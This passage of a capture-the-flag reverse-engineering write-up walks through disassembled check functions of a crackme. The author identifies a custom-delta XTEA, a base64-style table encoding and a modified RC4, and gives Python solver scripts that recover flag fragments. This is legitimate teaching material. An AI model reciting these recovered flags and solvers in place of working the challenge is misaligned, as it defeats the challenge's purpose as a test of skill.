175: 83 c0 01 add eax,0x1
178: 48 98 cdqe
17a: 8b 44 85 d0 mov eax,DWORD PTR [rbp+rax*4-0x30]
17e: 39 45 a8 cmp DWORD PTR [rbp-0x58],eax
181: 74 07 je 0x18a
183: c7 45 b0 00 00 00 00 mov DWORD PTR [rbp-0x50],0x0
18a: 83 45 ac 01 add DWORD PTR [rbp-0x54],0x1
18e: 83 7d ac 03 cmp DWORD PTR [rbp-0x54],0x3
192: 0f 8e e3 fe ff ff jle 0x7b
198: 8b 45 b0 mov eax,DWORD PTR [rbp-0x50]
19b: 48 8b 75 f8 mov rsi,QWORD PTR [rbp-0x8]
19f: 64 48 33 34 25 28 00 xor rsi,QWORD PTR fs:0x28
1a6: 00 00
1a8: 74 05 je 0x1af
1aa: e8 fd fa ff ff call 0xfffffffffffffcac
1af: c9 leave
1b0: c3 ret
shl eax,0x4
and shr eax,0x5
indicate that check2 is XTEA encryption. However, the delta is 0x1337dead
instead of 0x9E3779B9
. It's a customized XTEA encryption.
I use the following script to get the second part of flag which is _muCh_F0
key=[0x43,0x30,0x52,0x33]
num_rounds=0x20
v0=95
v1=104
delta=0x1337dead
sum1=0;
for i in range(0x20):
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum1 + key[sum1 & 3]);
v0 %= 0x100000000
sum1 += delta;
sum1 %= 0x100000000
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum1 + key[(sum1>>11) & 3]);
v1 %= 0x100000000
print hex(v0),hex(v1)
flag1=""
flag2=""
v=[0x95cb8dbd,0xf84cc79]
num_rounds=0x20
v0=v[0]
v1=v[1]
delta=0x1337dead
sum1=delta*num_rounds;
for i in range(0x20):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum1 + key[(sum1>>11) & 3]);
v1 %= 0x100000000
sum1 -= delta;
sum1 %= 0x100000000
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum1 + key[sum1 & 3]);
v0 %= 0x100000000
print chr(v0),chr(v1)
flag1+=chr(v0)
flag2+=chr(v1)
v=[0xb899a876,0xa5dab55]
num_rounds=0x20
v0=v[0]
v1=v[1]
delta=0x1337dead
sum1=delta*num_rounds;
for i in range(0x20):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum1 + key[(sum1>>11) & 3]);
v1 %= 0x100000000
sum1 -= delta;
sum1 %= 0x100000000
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum1 + key[sum1 & 3]);
v0 %= 0x100000000
print chr(v0),chr(v1)
flag1+=chr(v0)
flag2+=chr(v1)
v=[0x9a8b3bba,0x70b238a7]
num_rounds=0x20
v0=v[0]
v1=v[1]
delta=0x1337dead
sum1=delta*num_rounds;
for i in range(0x20):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum1 + key[(sum1>>11) & 3]);
v1 %= 0x100000000
sum1 -= delta;
sum1 %= 0x100000000
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum1 + key[sum1 & 3]);
v0 %= 0x100000000
print chr(v0),chr(v1)
flag1+=chr(v0)
flag2+=chr(v1)
v=[0x72b53cf1,0xd47c0209]
num_rounds=0x20
v0=v[0]
v1=v[1]
delta=0x1337dead
sum1=delta*num_rounds;
for i in range(0x20):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum1 + key[(sum1>>11) & 3]);
v1 %= 0x100000000
sum1 -= delta;
sum1 %= 0x100000000
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum1 + key[sum1 & 3]);
v0 %= 0x100000000
print chr(v0),chr(v1)
flag1+=chr(v0)
flag2+=chr(v1)
print flag1+flag2
# _muCh_F0
check3:
0: 55 push rbp
1: 48 89 e5 mov rbp,rsp
4: 48 81 ec e0 00 00 00 sub rsp,0xe0
b: 48 89 bd 28 ff ff ff mov QWORD PTR [rbp-0xd8],rdi
12: 89 b5 24 ff ff ff mov DWORD PTR [rbp-0xdc],esi
18: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
1f: 00 00
21: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
25: 31 c0 xor eax,eax
27: 48 c7 85 70 ff ff ff mov QWORD PTR [rbp-0x90],0x0
2e: 00 00 00 00
32: 48 c7 85 78 ff ff ff mov QWORD PTR [rbp-0x88],0x0
39: 00 00 00 00
3d: 48 c7 45 80 00 00 00 mov QWORD PTR [rbp-0x80],0x0
44: 00
45: 48 c7 45 88 00 00 00 mov QWORD PTR [rbp-0x78],0x0
4c: 00
4d: 48 c7 45 90 00 00 00 mov QWORD PTR [rbp-0x70],0x0
54: 00
55: 48 c7 45 98 00 00 00 mov QWORD PTR [rbp-0x68],0x0
5c: 00
5d: 66 c7 45 a0 00 00 mov WORD PTR [rbp-0x60],0x0
63: 48 b8 2a 7c 2d 49 66 movabs rax,0x32716e66492d7c2a
6a: 6e 71 32
6d: 48 ba 30 21 20 0a 41 movabs rdx,0x24645a410a202130
74: 5a 64 24
77: 48 89 45 b0 mov QWORD PTR [rbp-0x50],rax
7b: 48 89 55 b8 mov QWORD PTR [rbp-0x48],rdx
7f: 48 b8 72 3c 58 6f 5c movabs rax,0x7b2f445c6f583c72
86: 44 2f 7b
89: 48 ba 4b 43 7e 61 34 movabs rdx,0x377a5434617e434b
90: 54 7a 37
93: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax
97: 48 89 55 c8 mov QWORD PTR [rbp-0x38],rdx
9b: 48 b8 29 59 5e 3a 78 movabs rax,0x7d0b60783a5e5929
a2: 60 0b 7d
a5: 48 ba 53 73 31 79 4f movabs rdx,0x76696d4f79317353
ac: 6d 69 76
af: 48 89 45 d0 mov QWORD PTR [rbp-0x30],rax
b3: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx
b7: 48 b8 23 0d 25 5d 40 movabs rax,0x4e5f5b405d250d23
be: 5b 5f 4e
c1: 48 ba 28 48 6a 2c 56 movabs rdx,0x677551562c6a4828
c8: 51 75 67
cb: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax
cf: 48 89 55 e8 mov QWORD PTR [rbp-0x18],rdx
d3: c6 45 f0 00 mov BYTE PTR [rbp-0x10],0x0
d7: 48 b8 34 60 51 25 41 movabs rax,0x23415f4125516034
de: 5f 41 23
e1: 48 ba 54 3a 5a 25 41 movabs rdx,0x7d482f41255a3a54
e8: 2f 48 7d
eb: 48 89 85 50 ff ff ff mov QWORD PTR [rbp-0xb0],rax
f2: 48 89 95 58 ff ff ff mov QWORD PTR [rbp-0xa8],rdx
f9: 48 b8 7b 25 6d 53 41 movabs rax,0xb515b41536d257b
100: 5b 51 0b
103: 48 89 85 60 ff ff ff mov QWORD PTR [rbp-0xa0],rax
10a: c6 85 68 ff ff ff 00 mov BYTE PTR [rbp-0x98],0x0
111: c7 85 30 ff ff ff 01 mov DWORD PTR [rbp-0xd0],0x1
118: 00 00 00
11b: 8b 85 24 ff ff ff mov eax,DWORD PTR [rbp-0xdc]
121: 48 63 d0 movsxd rdx,eax
124: 48 8b 85 28 ff ff ff mov rax,QWORD PTR [rbp-0xd8]
12b: 48 01 d0 add rax,rdx
12e: 48 89 85 48 ff ff ff mov QWORD PTR [rbp-0xb8],rax
135: 48 8b 85 28 ff ff ff mov rax,QWORD PTR [rbp-0xd8]
13c: 48 89 85 40 ff ff ff mov QWORD PTR [rbp-0xc0],rax
143: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90]
14a: 48 89 85 38 ff ff ff mov QWORD PTR [rbp-0xc8],rax
151: e9 fa 00 00 00 jmp 0x250
156: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
15d: 0f b6 00 movzx eax,BYTE PTR [rax]
160: c0 e8 02 shr al,0x2
163: 0f b6 c0 movzx eax,al
166: 48 98 cdqe
168: 0f b6 4c 05 b0 movzx ecx,BYTE PTR [rbp+rax*1-0x50]
16d: 48 8b 85 38 ff ff ff mov rax,QWORD PTR [rbp-0xc8]
174: 48 8d 50 01 lea rdx,[rax+0x1]
178: 48 89 95 38 ff ff ff mov QWORD PTR [rbp-0xc8],rdx
17f: 89 ca mov edx,ecx
181: 88 10 mov BYTE PTR [rax],dl
183: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
18a: 0f b6 00 movzx eax,BYTE PTR [rax]
18d: 0f b6 c0 movzx eax,al
190: c1 e0 04 shl eax,0x4
193: 83 e0 30 and eax,0x30
196: 89 c2 mov edx,eax
198: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
19f: 48 83 c0 01 add rax,0x1
1a3: 0f b6 00 movzx eax,BYTE PTR [rax]
1a6: c0 e8 04 shr al,0x4
1a9: 0f b6 c0 movzx eax,al
1ac: 09 d0 or eax,edx
1ae: 48 98 cdqe
1b0: 0f b6 4c 05 b0 movzx ecx,BYTE PTR [rbp+rax*1-0x50]
1b5: 48 8b 85 38 ff ff ff mov rax,QWORD PTR [rbp-0xc8]
1bc: 48 8d 50 01 lea rdx,[rax+0x1]
1c0: 48 89 95 38 ff ff ff mov QWORD PTR [rbp-0xc8],rdx
1c7: 89 ca mov edx,ecx
1c9: 88 10 mov BYTE PTR [rax],dl
1cb: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
1d2: 48 83 c0 01 add rax,0x1
1d6: 0f b6 00 movzx eax,BYTE PTR [rax]
1d9: 0f b6 c0 movzx eax,al
1dc: c1 e0 02 shl eax,0x2
1df: 83 e0 3c and eax,0x3c
1e2: 89 c2 mov edx,eax
1e4: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
1eb: 48 83 c0 02 add rax,0x2
1ef: 0f b6 00 movzx eax,BYTE PTR [rax]
1f2: c0 e8 06 shr al,0x6
1f5: 0f b6 c0 movzx eax,al
1f8: 09 d0 or eax,edx
1fa: 48 98 cdqe
1fc: 0f b6 4c 05 b0 movzx ecx,BYTE PTR [rbp+rax*1-0x50]
201: 48 8b 85 38 ff ff ff mov rax,QWORD PTR [rbp-0xc8]
208: 48 8d 50 01 lea rdx,[rax+0x1]
20c: 48 89 95 38 ff ff ff mov QWORD PTR [rbp-0xc8],rdx
213: 89 ca mov edx,ecx
215: 88 10 mov BYTE PTR [rax],dl
217: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
21e: 48 83 c0 02 add rax,0x2
222: 0f b6 00 movzx eax,BYTE PTR [rax]
225: 0f b6 c0 movzx eax,al
228: 83 e0 3f and eax,0x3f
22b: 48 98 cdqe
22d: 0f b6 4c 05 b0 movzx ecx,BYTE PTR [rbp+rax*1-0x50]
232: 48 8b 85 38 ff ff ff mov rax,QWORD PTR [rbp-0xc8]
239: 48 8d 50 01 lea rdx,[rax+0x1]
23d: 48 89 95 38 ff ff ff mov QWORD PTR [rbp-0xc8],rdx
244: 89 ca mov edx,ecx
246: 88 10 mov BYTE PTR [rax],dl
248: 48 83 85 40 ff ff ff add QWORD PTR [rbp-0xc0],0x3
24f: 03
250: 48 8b 95 48 ff ff ff mov rdx,QWORD PTR [rbp-0xb8]
257: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
25e: 48 29 c2 sub rdx,rax
261: 48 89 d0 mov rax,rdx
264: 48 83 f8 02 cmp rax,0x2
268: 0f 8f e8 fe ff ff jg 0x156
26e: c7 85 34 ff ff ff 00 mov DWORD PTR [rbp-0xcc],0x0
275: 00 00 00
278: c7 85 34 ff ff ff 00 mov DWORD PTR [rbp-0xcc],0x0
27f: 00 00 00
282: eb 3b jmp 0x2bf
284: 8b 85 34 ff ff ff mov eax,DWORD PTR [rbp-0xcc]
28a: 48 98 cdqe
28c: 0f b6 84 05 70 ff ff movzx eax,BYTE PTR [rbp+rax*1-0x90]
293: ff
294: 0f b6 d0 movzx edx,al
297: 8b 85 34 ff ff ff mov eax,DWORD PTR [rbp-0xcc]
29d: 48 98 cdqe
29f: 0f b6 84 05 50 ff ff movzx eax,BYTE PTR [rbp+rax*1-0xb0]
2a6: ff
2a7: 0f be c0 movsx eax,al
2aa: 39 c2 cmp edx,eax
2ac: 74 0a je 0x2b8
2ae: c7 85 30 ff ff ff 00 mov DWORD PTR [rbp-0xd0],0x0
2b5: 00 00 00
2b8: 83 85 34 ff ff ff 01 add DWORD PTR [rbp-0xcc],0x1
2bf: 83 bd 34 ff ff ff 17 cmp DWORD PTR [rbp-0xcc],0x17
2c6: 7e bc jle 0x284
2c8: 8b 85 30 ff ff ff mov eax,DWORD PTR [rbp-0xd0]
2ce: 48 8b 75 f8 mov rsi,QWORD PTR [rbp-0x8]
2d2: 64 48 33 34 25 28 00 xor rsi,QWORD PTR fs:0x28
2d9: 00 00
2db: 74 05 je 0x2e2
2dd: e8 19 f8 ff ff call 0xfffffffffffffafb
2e2: c9 leave
2e3: c3 ret
I didn't figure out what exactly the check3 function is. I just translate it to python script and brute force the third part of flag which is r_r3c0v3r1ng_+h3_f
from pwn import *
import string
cipher=p64(0x23415f4125516034)+p64(0x7d482f41255a3a54)+p64(0xb515b41536d257b)
a=[
0x32716e66492d7c2a
,0x24645a410a202130
,0x7b2f445c6f583c72
,0x377a5434617e434b
,0x7d0b60783a5e5929
,0x76696d4f79317353
,0x4e5f5b405d250d23
,0x677551562c6a4828
]
table="".join(map(p64,a))
def findpossible_one(cpos):
ret=[]
for i in string.printable:
a=ord(i)
a>>=2
cc=table[a]
if cc == cipher[cpos]:
#print i
ret.append(i)
return ret
def findpossible_two(first,cpos):
ret=[]
for i in string.printable:
a=ord(i)
a>>=4
for j in first:
c=ord(j)
c<<=4
c&=0x30
c|=a
cc=table[c]
if cc == cipher[cpos]:
#print i
ret.append([j,i])
return ret
def findpossible_three(two,cpos):
ret=[]
for i in string.printable:
a=ord(i)
a>>=6
for j in two:
c=ord(j[1])
c<<=2
c&=0x3c
c|=a
cc=table[c]
if cc == cipher[cpos]:
#print i
ret.append(j+[i])
return ret
def findpossible_last(three,cpos):
ret=[]
for j in three:
c=ord(j[2])
c&=0x3f
cc=table[c]
if cc == cipher[cpos]:
#print i
ret.append(j)
return ret
flag=""
for i in range(0,len(cipher),4):
first = findpossible_one(i)
print first
two=findpossible_two(first,i+1)
print two
three=findpossible_three(two,i+2)
print three
last=findpossible_last(three,i+3)
if len(last) !=1:
print "error"
exit()
flag+="".join(last[0])
print flag
check4:
0: 55 push rbp
1: 48 89 e5 mov rbp,rsp
4: 48 81 ec a0 04 00 00 sub rsp,0x4a0
b: 48 89 bd 68 fb ff ff mov QWORD PTR [rbp-0x498],rdi
12: 89 b5 64 fb ff ff mov DWORD PTR [rbp-0x49c],esi
18: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
1f: 00 00
21: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
25: 31 c0 xor eax,eax
27: 48 8d 95 90 fb ff ff lea rdx,[rbp-0x470]
2e: b8 00 00 00 00 mov eax,0x0
33: b9 7d 00 00 00 mov ecx,0x7d
38: 48 89 d7 mov rdi,rdx
3b: f3 48 ab rep stos QWORD PTR es:[rdi],rax
3e: 48 b8 50 6c 33 61 73 movabs rax,0x30645f7361336c50
45: 5f 64 30
48: 48 ba 6e 27 74 5f 63 movabs rdx,0x353452635f74276e
4f: 52 34 35
52: 48 89 45 90 mov QWORD PTR [rbp-0x70],rax
56: 48 89 55 98 mov QWORD PTR [rbp-0x68],rdx
5a: 48 b8 68 5f 31 6e 5f movabs rax,0x21682b5f6e315f68
61: 2b 68 21
64: 48 ba 73 5f 66 55 6e movabs rdx,0x312b436e55665f73
6b: 43 2b 31
6e: 48 89 45 a0 mov QWORD PTR [rbp-0x60],rax
72: 48 89 55 a8 mov QWORD PTR [rbp-0x58],rdx
76: 66 c7 45 b0 30 6e mov WORD PTR [rbp-0x50],0x6e30
7c: c6 45 b2 00 mov BYTE PTR [rbp-0x4e],0x0
80: 48 c7 45 c0 00 00 00 mov QWORD PTR [rbp-0x40],0x0
87: 00
88: 48 c7 45 c8 00 00 00 mov QWORD PTR [rbp-0x38],0x0
8f: 00
90: 48 c7 45 d0 00 00 00 mov QWORD PTR [rbp-0x30],0x0
97: 00
98: 48 c7 45 d8 00 00 00 mov QWORD PTR [rbp-0x28],0x0
9f: 00
a0: 48 c7 45 e0 00 00 00 mov QWORD PTR [rbp-0x20],0x0
a7: 00
a8: 48 c7 45 e8 00 00 00 mov QWORD PTR [rbp-0x18],0x0
af: 00
b0: 66 c7 45 f0 00 00 mov WORD PTR [rbp-0x10],0x0
b6: 48 b8 2b 55 5d 93 a0 movabs rax,0x14dd43a0935d552b
bd: 43 dd 14
c0: 48 89 45 83 mov QWORD PTR [rbp-0x7d],rax
c4: c7 45 8b 43 52 7d e5 mov DWORD PTR [rbp-0x75],0xe57d5243
cb: c6 45 8f 00 mov BYTE PTR [rbp-0x71],0x0
cf: c7 85 80 fb ff ff 22 mov DWORD PTR [rbp-0x480],0x22
d6: 00 00 00
d9: c7 85 70 fb ff ff 00 mov DWORD PTR [rbp-0x490],0x0
e0: 00 00 00
e3: c7 85 74 fb ff ff 00 mov DWORD PTR [rbp-0x48c],0x0
ea: 00 00 00
ed: c7 85 78 fb ff ff 01 mov DWORD PTR [rbp-0x488],0x1
f4: 00 00 00
f7: c7 85 70 fb ff ff 00 mov DWORD PTR [rbp-0x490],0x0
fe: 00 00 00
101: eb 1c jmp 0x11f
103: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
109: 48 98 cdqe
10b: 8b 95 70 fb ff ff mov edx,DWORD PTR [rbp-0x490]
111: 89 94 85 90 fb ff ff mov DWORD PTR [rbp+rax*4-0x470],edx
118: 83 85 70 fb ff ff 01 add DWORD PTR [rbp-0x490],0x1
11f: 81 bd 70 fb ff ff f5 cmp DWORD PTR [rbp-0x490],0xf5
126: 00 00 00
129: 7e d8 jle 0x103
12b: c7 85 70 fb ff ff 00 mov DWORD PTR [rbp-0x490],0x0
132: 00 00 00
135: e9 b3 00 00 00 jmp 0x1ed
13a: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
140: 48 98 cdqe
142: 8b 94 85 90 fb ff ff mov edx,DWORD PTR [rbp+rax*4-0x470]
149: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
14f: 8d 0c 02 lea ecx,[rdx+rax*1]
152: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
158: 99 cdq
159: f7 bd 80 fb ff ff idiv DWORD PTR [rbp-0x480]
15f: 89 d0 mov eax,edx
161: 48 98 cdqe
163: 0f b6 44 05 90 movzx eax,BYTE PTR [rbp+rax*1-0x70]
168: 0f b6 c0 movzx eax,al
16b: 01 c1 add ecx,eax
16d: ba 15 02 4d 21 mov edx,0x214d0215
172: 89 c8 mov eax,ecx
174: f7 ea imul edx
176: c1 fa 05 sar edx,0x5
179: 89 c8 mov eax,ecx
17b: c1 f8 1f sar eax,0x1f
17e: 29 c2 sub edx,eax
180: 89 d0 mov eax,edx
182: 89 85 74 fb ff ff mov DWORD PTR [rbp-0x48c],eax
188: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
18e: 69 c0 f6 00 00 00 imul eax,eax,0xf6
194: 29 c1 sub ecx,eax
196: 89 c8 mov eax,ecx
198: 89 85 74 fb ff ff mov DWORD PTR [rbp-0x48c],eax
19e: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
1a4: 48 98 cdqe
1a6: 8b 84 85 90 fb ff ff mov eax,DWORD PTR [rbp+rax*4-0x470]
1ad: 89 85 8c fb ff ff mov DWORD PTR [rbp-0x474],eax
1b3: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
1b9: 48 98 cdqe
1bb: 8b 94 85 90 fb ff ff mov edx,DWORD PTR [rbp+rax*4-0x470]
1c2: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
1c8: 48 98 cdqe
1ca: 89 94 85 90 fb ff ff mov DWORD PTR [rbp+rax*4-0x470],edx
1d1: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
1d7: 48 98 cdqe
1d9: 8b 95 8c fb ff ff mov edx,DWORD PTR [rbp-0x474]
1df: 89 94 85 90 fb ff ff mov DWORD PTR [rbp+rax*4-0x470],edx
1e6: 83 85 70 fb ff ff 01 add DWORD PTR [rbp-0x490],0x1
1ed: 81 bd 70 fb ff ff f5 cmp DWORD PTR [rbp-0x490],0xf5
1f4: 00 00 00
1f7: 0f 8e 3d ff ff ff jle 0x13a
1fd: c7 85 7c fb ff ff 00 mov DWORD PTR [rbp-0x484],0x0
204: 00 00 00
207: c7 85 70 fb ff ff 00 mov DWORD PTR [rbp-0x490],0x0
20e: 00 00 00
211: c7 85 74 fb ff ff 00 mov DWORD PTR [rbp-0x48c],0x0
218: 00 00 00
21b: e9 4f 01 00 00 jmp 0x36f
220: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
226: 8d 48 01 lea ecx,[rax+0x1]
229: ba 15 02 4d 21 mov edx,0x214d0215
22e: 89 c8 mov eax,ecx
230: f7 ea imul edx
232: c1 fa 05 sar edx,0x5
235: 89 c8 mov eax,ecx
237: c1 f8 1f sar eax,0x1f
23a: 29 c2 sub edx,eax
23c: 89 d0 mov eax,edx
23e: 89 85 70 fb ff ff mov DWORD PTR [rbp-0x490],eax
244: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
24a: 69 c0 f6 00 00 00 imul eax,eax,0xf6
250: 29 c1 sub ecx,eax
252: 89 c8 mov eax,ecx
254: 89 85 70 fb ff ff mov DWORD PTR [rbp-0x490],eax
25a: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
260: 48 98 cdqe
262: 8b 94 85 90 fb ff ff mov edx,DWORD PTR [rbp+rax*4-0x470]
269: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
26f: 8d 0c 02 lea ecx,[rdx+rax*1]
272: ba 15 02 4d 21 mov edx,0x214d0215
277: 89 c8 mov eax,ecx
279: f7 ea imul edx
27b: c1 fa 05 sar edx,0x5
27e: 89 c8 mov eax,ecx
280: c1 f8 1f sar eax,0x1f
283: 29 c2 sub edx,eax
285: 89 d0 mov eax,edx
287: 89 85 74 fb ff ff mov DWORD PTR [rbp-0x48c],eax
28d: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
293: 69 c0 f6 00 00 00 imul eax,eax,0xf6
299: 29 c1 sub ecx,eax
29b: 89 c8 mov eax,ecx
29d: 89 85 74 fb ff ff mov DWORD PTR [rbp-0x48c],eax
2a3: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
2a9: 48 98 cdqe
2ab: 8b 84 85 90 fb ff ff mov eax,DWORD PTR [rbp+rax*4-0x470]
2b2: 89 85 84 fb ff ff mov DWORD PTR [rbp-0x47c],eax
2b8: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
2be: 48 98 cdqe
2c0: 8b 94 85 90 fb ff ff mov edx,DWORD PTR [rbp+rax*4-0x470]
2c7: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
2cd: 48 98 cdqe
2cf: 89 94 85 90 fb ff ff mov DWORD PTR [rbp+rax*4-0x470],edx
2d6: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
2dc: 48 98 cdqe
2de: 8b 95 84 fb ff ff mov edx,DWORD PTR [rbp-0x47c]
2e4: 89 94 85 90 fb ff ff mov DWORD PTR [rbp+rax*4-0x470],edx
2eb: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
2f1: 48 98 cdqe
2f3: 8b 94 85 90 fb ff ff mov edx,DWORD PTR [rbp+rax*4-0x470]
2fa: 8b 85 74 fb ff ff mov eax,DWORD PTR [rbp-0x48c]
300: 48 98 cdqe
302: 8b 84 85 90 fb ff ff mov eax,DWORD PTR [rbp+rax*4-0x470]
309: 8d 0c 02 lea ecx,[rdx+rax*1]
30c: ba 15 02 4d 21 mov edx,0x214d0215
311: 89 c8 mov eax,ecx
313: f7 ea imul edx
315: c1 fa 05 sar edx,0x5
318: 89 c8 mov eax,ecx
31a: c1 f8 1f sar eax,0x1f
31d: 29 c2 sub edx,eax
31f: 89 d0 mov eax,edx
321: 69 c0 f6 00 00 00 imul eax,eax,0xf6
327: 29 c1 sub ecx,eax
329: 89 c8 mov eax,ecx
32b: 48 98 cdqe
32d: 8b 84 85 90 fb ff ff mov eax,DWORD PTR [rbp+rax*4-0x470]
334: 89 85 88 fb ff ff mov DWORD PTR [rbp-0x478],eax
33a: 8b 85 88 fb ff ff mov eax,DWORD PTR [rbp-0x478]
340: 89 c1 mov ecx,eax
342: 8b 85 7c fb ff ff mov eax,DWORD PTR [rbp-0x484]
348: 48 63 d0 movsxd rdx,eax
34b: 48 8b 85 68 fb ff ff mov rax,QWORD PTR [rbp-0x498]
352: 48 01 d0 add rax,rdx
355: 0f b6 00 movzx eax,BYTE PTR [rax]
358: 31 c8 xor eax,ecx
35a: 89 c2 mov edx,eax
35c: 8b 85 7c fb ff ff mov eax,DWORD PTR [rbp-0x484]
362: 48 98 cdqe
364: 88 54 05 c0 mov BYTE PTR [rbp+rax*1-0x40],dl
368: 83 85 7c fb ff ff 01 add DWORD PTR [rbp-0x484],0x1
36f: 8b 85 7c fb ff ff mov eax,DWORD PTR [rbp-0x484]
375: 3b 85 64 fb ff ff cmp eax,DWORD PTR [rbp-0x49c]
37b: 0f 8c 9f fe ff ff jl 0x220
381: c7 85 70 fb ff ff 00 mov DWORD PTR [rbp-0x490],0x0
388: 00 00 00
38b: eb 2f jmp 0x3bc
38d: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
393: 48 98 cdqe
395: 0f b6 54 05 c0 movzx edx,BYTE PTR [rbp+rax*1-0x40]
39a: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
3a0: 48 98 cdqe
3a2: 0f b6 44 05 83 movzx eax,BYTE PTR [rbp+rax*1-0x7d]
3a7: 38 c2 cmp dl,al
3a9: 74 0a je 0x3b5
3ab: c7 85 78 fb ff ff 00 mov DWORD PTR [rbp-0x488],0x0
3b2: 00 00 00
3b5: 83 85 70 fb ff ff 01 add DWORD PTR [rbp-0x490],0x1
3bc: 8b 85 70 fb ff ff mov eax,DWORD PTR [rbp-0x490]
3c2: 3b 85 64 fb ff ff cmp eax,DWORD PTR [rbp-0x49c]
3c8: 7c c3 jl 0x38d
3ca: 8b 85 78 fb ff ff mov eax,DWORD PTR [rbp-0x488]
3d0: 48 8b 75 f8 mov rsi,QWORD PTR [rbp-0x8]
3d4: 64 48 33 34 25 28 00 xor rsi,QWORD PTR fs:0x28
3db: 00 00
3dd: 74 05 je 0x3e4
3df: e8 33 f4 ff ff call 0xfffffffffffff817
3e4: c9 leave
3e5: c3 ret
It's hard to explain. But I figure out that check4 is a customized rc4 encryption.
Again, I have a script to get the fourth part of flag which is L4g_1_Luv_y0
from pwn import *
cipher=p64(0x14dd43a0935d552b)+p32(0xe57d5243)
key=p64(0x30645f7361336c50)+p64(0x353452635f74276e)+p64(0x21682b5f6e315f68)+p64(0x312b436e55665f73)+p32(0x6e30)[:2]
print key,len(key)
print len(cipher)
S=range(0xf6)
j = 0
for i in range(0xf6):
j=(j + S[i] + ord(key[i % len(key)]))% 0xf6
temp=S[i]
S[i]=S[j]
S[j]=temp
print S
flag=""
i=0
j=0
for k in cipher:
i=(i+1)%0xf6
j=(j + S[i])%0xf6
temp=S[i]
S[i]=S[j]
S[j]=temp
flag+=chr(ord(k)^S[(S[i] + S[j]) % 0xf6])
print flag
check5:
0: 55 push rbp
1: 48 89 e5 mov rbp,rsp
4: 48 89 7d d8 mov QWORD PTR [rbp-0x28],rdi
8: c7 45 e4 00 00 00 00 mov DWORD PTR [rbp-0x1c],0x0
f: c7 45 e8 00 00 00 00 mov DWORD PTR [rbp-0x18],0x0
16: c7 45 f4 00 00 00 00 mov DWORD PTR [rbp-0xc],0x0
1d: c7 45 ec 01 00 00 00 mov DWORD PTR [rbp-0x14],0x1
24: c7 45 f8 00 00 00 00 mov DWORD PTR [rbp-0x8],0x0
2b: c7 45 f0 00 00 00 00 mov DWORD PTR [rbp-0x10],0x0
32: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0
39: c7 45 f0 ff ff ff ff mov DWORD PTR [rbp-0x10],0xffffffff
40: eb 54 jmp 0x96
42: 8b 45 e4 mov eax,DWORD PTR [rbp-0x1c]
45: 8d 50 01 lea edx,[rax+0x1]
48: 89 55 e4 mov DWORD PTR [rbp-0x1c],edx
4b: 48 63 d0 movsxd rdx,eax
4e: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28]
52: 48 01 d0 add rax,rdx
55: 0f b6 00 movzx eax,BYTE PTR [rax]
58: 0f be c0 movsx eax,al
5b: 89 45 f8 mov DWORD PTR [rbp-0x8],eax
5e: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8]
61: 31 45 f0 xor DWORD PTR [rbp-0x10],eax
64: c7 45 e8 07 00 00 00 mov DWORD PTR [rbp-0x18],0x7
6b: eb 23 jmp 0x90
6d: 8b 45 f0 mov eax,DWORD PTR [rbp-0x10]
70: 83 e0 01 and eax,0x1
73: f7 d8 neg eax
75: 89 45 fc mov DWORD PTR [rbp-0x4],eax
78: 8b 45 f0 mov eax,DWORD PTR [rbp-0x10]
7b: d1 e8 shr eax,1
7d: 89 c2 mov edx,eax
7f: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
